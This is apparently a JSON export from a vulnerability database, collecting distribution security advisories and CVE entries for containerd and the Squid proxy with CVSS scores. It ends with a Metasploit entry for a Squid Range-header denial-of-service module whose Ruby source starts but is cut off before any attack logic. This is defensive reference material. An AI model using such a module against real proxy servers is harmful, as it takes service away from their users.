"userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-20T00:00:00", "id": "USN-5012-1", "href": "https://ubuntu.com/security/notices/USN-5012-1", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-26T15:10:46", "description": "## Releases\n\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * containerd \\- daemon to control runC\n\nIt was discovered that containerd insufficiently restricted permissions on \ncontainer root and plugin directories. If a user or automated system were \ntricked into launching a specially crafted container image, a remote \nattacker could traverse directory contents and modify files and execute \nprograms on the host file system, possibly leading to privilege escalation. \n(CVE-2021-41103)\n\nIt was discovered that containerd incorrectly handled file permission \nchanges. If a user or automated system were tricked into launching a \nspecially crafted container image, a remote attacker could change \npermissions on files on the host file system and possibly escalate \nprivileges. (CVE-2021-32760)\n\nIt was discovered that containerd allows attackers to gain access to read- \nonly copies of arbitrary files and directories on the host via a specially- \ncrafted image configuration. An attacker could possibly use this issue to \nobtain sensitive information. (CVE-2022-23648)\n\nIt was discovered that containerd incorrectly handled certain memory \noperations. A remote attacker could use this to cause a denial of service. \n(CVE-2022-31030)\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-15T00:00:00", "type": "ubuntu", "title": "containerd vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760", "CVE-2021-41103", "CVE-2022-23648", "CVE-2022-31030"], "modified": "2022-07-15T00:00:00", "id": "USN-5521-1", "href": "https://ubuntu.com/security/notices/USN-5521-1", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "mageia": [{"lastseen": "2022-04-18T11:19:35", "description": "Updated squid packages fix security vulnerabilities: Due to improper input validation Squid is vulnerable to an HTTP Request Smuggling attack. This problem allows a trusted client to perform HTTP Request Smuggling and access services otherwise forbidden by Squid security controls (CVE-2020-25097). Joshua Rogers discovered that Squid incorrectly handled requests with the urn: scheme. A remote attacker could possibly use this issue to causeSquid to consume resources, leading to a denial of service (CVE-2021-28651). Joshua Rogers discovered that Squid incorrectly handled requests to the Cache Manager API. A remote attacker with access privileges could possibly use this issue to cause Squid to consume resources, leading to a denial of service (CVE-2021-28652). Joshua Rogers discovered that Squid incorrectly handled certain response headers. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-28662). Joshua Rogers discovered that Squid incorrectly handled range request processing. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-31806, CVE-2021-31807, CVE-2021-31808). Joshua Rogers discovered that Squid incorrectly handled certain HTTP responses. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-33620). The squid package has been updated to version 4.15, fixing theese issues and other bugs. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-06-08T16:46:03", "type": "mageia", "title": "Updated squid packages fix security vulnerabilities\n", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-08T16:46:03", "id": "MGASA-2021-0237", "href": "https://advisories.mageia.org/MGASA-2021-0237.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-18T11:19:35", "description": "A bug was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-23T10:05:28", "type": "mageia", "title": "Updated docker-containerd packages fix security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760", "CVE-2021-41103"], "modified": "2021-10-23T10:05:28", "id": "MGASA-2021-0484", "href": "https://advisories.mageia.org/MGASA-2021-0484.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2021-07-28T14:46:52", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-11T01:20:16", "type": "fedora", "title": "[SECURITY] Fedora 33 Update: squid-4.15-1.fc33", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-11T01:20:16", "id": "FEDORA:C4C0D3091C28", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/T4EPIWUZDJAXADDHVOPKRBTQHPBR6H66/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-07-28T14:46:52", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-11T01:16:02", "type": "fedora", "title": "[SECURITY] Fedora 34 Update: squid-5.0.6-1.fc34", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-11T01:16:02", "id": "FEDORA:CC54030AE7DD", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/LSQ3U54ZCNXR44QRPW3AV2VCS6K3TKCF/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-11-26T19:07:07", "description": " Containerd is an industry-standard container runtime with an emphasis on simplicity, robustness and portability. It is available as a daemon for Lin ux and Windows, which can manage the complete container lifecycle of its host system: image transfer and storage, container execution and supervision, low-level storage and network attachments, etc. ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "baseScore": 6.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 3.4}, "published": "2021-08-25T19:58:15", "type": "fedora", "title": "[SECURITY] Fedora 34 Update: containerd-1.5.5-1.fc34", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-08-25T19:58:15", "id": "FEDORA:CD65730F8F93", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/DDMNDPJJTP3J5GOEDB66F6MGXUTRG3Y3/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2022-01-17T18:59:20", "description": "### Background\n\nSquid is a full-featured Web proxy cache designed to run on Unix systems. It supports proxying and caching of HTTP, FTP, and other URLs, as well as SSL support, cache hierarchies, transparent caching, access control lists and many other features. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Squid. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker could send a specially crafted request, possibly resulting in a Denial of Service condition or information leak. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Squid users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-proxy/squid-4.15\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 8.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 4.0}, "published": "2021-05-26T00:00:00", "type": "gentoo", "title": "Squid: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808"], "modified": "2021-05-26T00:00:00", "id": "GLSA-202105-14", "href": "https://security.gentoo.org/glsa/202105-14", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "ubuntucve": [{"lastseen": "2022-10-26T13:33:54", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to\nan input-validation bug, it is vulnerable to a Denial of Service attack\n(against all clients using the proxy). A client sends an HTTP Range request\nto trigger this.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=989043>\n * <https://bugzilla.suse.com/show_bug.cgi?id=1185916>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | same commit as CVE-2021-31806\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T00:00:00", "type": "ubuntucve", "title": "CVE-2021-31808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31808"], "modified": "2021-05-27T00:00:00", "id": "UB:CVE-2021-31808", "href": "https://ubuntu.com/security/CVE-2021-31808", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-10-26T13:33:47", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An\ninteger overflow problem allows a remote server to achieve Denial of\nService when delivering responses to HTTP Range requests. The issue trigger\nis a header that can be expected to exist in HTTP traffic without any\nmalicious intent.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=989043>\n * <https://bugzilla.suse.com/show_bug.cgi?id=1185916>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | same commit as CVE-2021-31806\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T00:00:00", "type": "ubuntucve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31807"], "modified": "2021-05-28T00:00:00", "id": "UB:CVE-2021-31807", "href": "https://ubuntu.com/security/CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-10-26T13:33:45", "description": "Squid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a\ndenial of service (affecting availability to all clients) via an HTTP\nresponse. The issue trigger is a header that can be expected to exist in\nHTTP traffic without any malicious intent by the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T00:00:00", "type": "ubuntucve", "title": "CVE-2021-33620", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620"], "modified": "2021-05-28T00:00:00", "id": "UB:CVE-2021-33620", "href": "https://ubuntu.com/security/CVE-2021-33620", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-08-04T13:18:51", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to\nincorrect parser validation, it allows a Denial of Service attack against\nthe Cache Manager API. This allows a trusted client to trigger memory leaks\nthat. over time, lead to a Denial of Service via an unspecified short query\nstring. This attack is limited to clients with Cache Manager API access\nprivilege.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=988892>\n * <https://bugs.squid-cache.org/show_bug.cgi?id=5106>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | this issue only affects the Cache Manager, which is usually restricted to trusted clients only. The patch is intrusive to backport to 3.x versions, so we will not be fixing this issue in older releases. We recommend setting appropriate access control to limit connections from trusted clients.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "baseScore": 4.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T00:00:00", "type": "ubuntucve", "title": "CVE-2021-28652", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28652"], "modified": "2021-05-27T00:00:00", "id": "UB:CVE-2021-28652", "href": "https://ubuntu.com/security/CVE-2021-28652", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-10-26T13:33:55", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a\nmemory-management bug, it is vulnerable to a Denial of Service attack\n(against all clients using the proxy) via HTTP Range request processing.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=989043>\n * <https://bugzilla.suse.com/show_bug.cgi?id=1185916>\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T00:00:00", "type": "ubuntucve", "title": "CVE-2021-31806", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806"], "modified": "2021-05-27T00:00:00", "id": "UB:CVE-2021-31806", "href": "https://ubuntu.com/security/CVE-2021-31806", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-10-26T13:33:54", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a\nbuffer-management bug, it allows a denial of service. When resolving a\nrequest with the urn: scheme, the parser leaks a small amount of memory.\nHowever, there is an unspecified attack methodology that can easily trigger\na large amount of memory consumption.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=988893>\n * <https://bugs.squid-cache.org/show_bug.cgi?id=5104>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T00:00:00", "type": "ubuntucve", "title": "CVE-2021-28651", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2021-05-27T00:00:00", "id": "UB:CVE-2021-28651", "href": "https://ubuntu.com/security/CVE-2021-28651", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-08-04T13:17:41", "description": "containerd is a container runtime. A bug was found in containerd versions\nprior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted\ncontainer image can result in Unix file permission changes for existing\nfiles in the host\u2019s filesystem. Changes to file permissions can deny access\nto the expected owner of the file, widen access to others, or set extended\nbits like setuid, setgid, and sticky. This bug does not directly allow\nfiles to be read, modified, or executed without an additional cooperating\nprocess. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a\nworkaround, ensure that users only pull images from trusted sources. Linux\nsecurity modules (LSMs) like SELinux and AppArmor can limit the files\npotentially affected by this bug through policies and profiles that prevent\ncontainerd from interacting with specific files.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-19T00:00:00", "type": "ubuntucve", "title": "CVE-2021-32760", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-19T00:00:00", "id": "UB:CVE-2021-32760", "href": "https://ubuntu.com/security/CVE-2021-32760", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-11-01T15:53:47", "description": "The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and 5.0.1-5.0.5 suffers from multiple vulnerabilities triggered by specific HTTP requests and responses. These vulnerabilities allow remote attackers to cause a denial of service through specifically crafted requests.\n", "cvss3": {}, "published": "2021-10-07T11:29:56", "type": "metasploit", "title": "Squid Proxy Range Header DoS", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-31806", "CVE-2021-31807"], "modified": "2021-10-21T17:15:30", "id": "MSF:AUXILIARY-DOS-HTTP-SQUID_RANGE_DOS-", "href": "https://www.rapid7.com/db/modules/auxiliary/dos/http/squid_range_dos/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::HttpServer\n include Msf::Auxiliary::Dos\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Squid Proxy Range Header DoS',\n 'Description' => %q{\n The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and\n 